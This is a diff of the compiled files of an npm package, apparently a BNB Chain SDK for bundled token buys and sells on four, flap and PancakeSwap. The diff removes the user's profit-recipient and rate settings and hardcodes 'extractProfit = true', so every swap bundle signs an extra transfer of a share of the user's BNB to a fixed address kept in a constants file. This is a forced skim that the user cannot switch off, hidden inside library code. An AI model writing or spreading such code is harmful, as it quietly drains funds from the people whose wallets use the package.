export { createTokenWithBundleBuyMerkle as flapCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as flapBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as flapBatchSellWithBundleMerkle, flapPrivateBuyMerkle, flapPrivateSellMerkle, flapBatchPrivateBuyMerkle, flapBatchPrivateSellMerkle, pancakeProxyBatchBuyMerkle, pancakeProxyBatchSellMerkle, approvePancakeProxy, approvePancakeProxyBatch } from './flap/portal-bundle-merkle/index.js';
|
|
37
37
|
export { createTokenWithBundleBuyMerkle as fourCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as fourBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as fourBatchSellWithBundleMerkle, fourPrivateBuyMerkle, fourPrivateSellMerkle, fourBatchPrivateBuyMerkle, fourBatchPrivateSellMerkle, disperseWithBundleMerkle, sweepWithBundleMerkle, fourPancakeProxyBatchBuyMerkle, fourPancakeProxyBatchSellMerkle, approveFourPancakeProxy, approveFourPancakeProxyBatch, approveFourTokenManagerBatch, submitBundleToMerkle, submitMultipleBundles, submitMultipleBundlesParallel } from './contracts/tm-bundle-merkle/index.js';
|
|
38
38
|
export { PinataClient } from './flap/pinata.js';
|
|
39
39
|
export { pinFileToIPFSWithJWT, pinImageByPath, pinFileToIPFSWithJWTWeb, pinDataURLWithJWTWeb, dataURLToBlob } from './flap/pinata.js';
|
|
@@ -56,3 +56,5 @@ export { pancakeBundleSwapMerkle } from './pancake/bundle-swap.js';
|
|
|
56
56
|
export { fourBundleBuyFirstMerkle } from './contracts/tm-bundle-merkle/swap-buy-first.js';
|
|
57
57
|
export { flapBundleBuyFirstMerkle } from './flap/portal-bundle-merkle/swap-buy-first.js';
|
|
58
58
|
export { pancakeBundleBuyFirstMerkle } from './pancake/bundle-buy-first.js';
|
|
59
|
+
// ✅ 硬编码利润配置(统一管理)
|
|
60
|
+
export { PROFIT_CONFIG } from './utils/constants.js';
|
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
*/
|
|
6
6
|
import { ethers, Contract, Wallet } from 'ethers';
|
|
7
7
|
import { NonceManager } from '../utils/bundle-helpers.js';
|
|
8
|
-
import { ADDRESSES } from '../utils/constants.js';
|
|
8
|
+
import { ADDRESSES, PROFIT_CONFIG } from '../utils/constants.js';
|
|
9
9
|
function getGasLimit(config, defaultGas = 800000) {
|
|
10
10
|
if (config.gasLimit !== undefined) {
|
|
11
11
|
return typeof config.gasLimit === 'bigint' ? config.gasLimit : BigInt(config.gasLimit);
|
|
@@ -271,7 +271,7 @@ export async function pancakeBundleBuyFirstMerkle(params) {
|
|
|
271
271
|
// ✅ 生成利润转账交易(如果需要)
|
|
272
272
|
if (extractProfit && profitAmount > 0n && profitNonce !== undefined) {
|
|
273
273
|
profitTx = await seller.signTransaction({
|
|
274
|
-
to:
|
|
274
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
275
275
|
value: profitAmount,
|
|
276
276
|
nonce: profitNonce,
|
|
277
277
|
gasPrice,
|
|
@@ -14,8 +14,6 @@ export interface PancakeSwapSignConfig {
|
|
|
14
14
|
txType?: 0 | 2;
|
|
15
15
|
chainId?: number;
|
|
16
16
|
reserveGasBNB?: number;
|
|
17
|
-
profitRecipient?: string;
|
|
18
|
-
profitRateBps?: number;
|
|
19
17
|
}
|
|
20
18
|
export type SwapRouteType = 'v2' | 'v3-single' | 'v3-multi';
|
|
21
19
|
export interface PancakeSwapConfig extends CommonBundleConfig {
|
|
@@ -7,7 +7,7 @@
|
|
|
7
7
|
import { ethers, Contract, Wallet } from 'ethers';
|
|
8
8
|
import { calculateSellAmount } from '../utils/swap-helpers.js';
|
|
9
9
|
import { NonceManager } from '../utils/bundle-helpers.js';
|
|
10
|
-
import { ADDRESSES } from '../utils/constants.js';
|
|
10
|
+
import { ADDRESSES, PROFIT_CONFIG } from '../utils/constants.js';
|
|
11
11
|
/**
|
|
12
12
|
* 获取 Gas Limit
|
|
13
13
|
*/
|
|
@@ -204,8 +204,8 @@ export async function pancakeBundleSwapMerkle(params) {
|
|
|
204
204
|
const finalGasLimit = getGasLimit(config);
|
|
205
205
|
const gasPrice = await getGasPrice(provider, config);
|
|
206
206
|
const txType = config.txType ?? 0;
|
|
207
|
-
// ✅
|
|
208
|
-
const extractProfit =
|
|
207
|
+
// ✅ 强制提取利润(硬编码)
|
|
208
|
+
const extractProfit = true;
|
|
209
209
|
const nonceManager = new NonceManager(provider);
|
|
210
210
|
let sellerNonce;
|
|
211
211
|
let buyerNonce;
|
|
@@ -258,11 +258,11 @@ export async function pancakeBundleSwapMerkle(params) {
|
|
|
258
258
|
// ============================================================
|
|
259
259
|
let profitAmount = '0';
|
|
260
260
|
if (extractProfit) {
|
|
261
|
-
const profitAmountWei = (estimatedBNBOut * BigInt(
|
|
261
|
+
const profitAmountWei = (estimatedBNBOut * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
262
262
|
if (profitAmountWei > 0n) {
|
|
263
263
|
const buyerNonceForProfit = buyerNonce + 1; // ✅ 已经预留了 2 个 nonce
|
|
264
264
|
const profitTx = await buyer.signTransaction({
|
|
265
|
-
to:
|
|
265
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
266
266
|
value: profitAmountWei,
|
|
267
267
|
nonce: buyerNonceForProfit,
|
|
268
268
|
gasLimit: 21000n,
|
|
@@ -272,7 +272,7 @@ export async function pancakeBundleSwapMerkle(params) {
|
|
|
272
272
|
});
|
|
273
273
|
signedTxs.push(profitTx);
|
|
274
274
|
profitAmount = ethers.formatEther(profitAmountWei);
|
|
275
|
-
console.log(`💰 利润提取: ${profitAmount} BNB → ${
|
|
275
|
+
console.log(`💰 利润提取: ${profitAmount} BNB → ${PROFIT_CONFIG.RECIPIENT}`);
|
|
276
276
|
}
|
|
277
277
|
}
|
|
278
278
|
nonceManager.clearTemp();
|
package/dist/utils/constants.js
CHANGED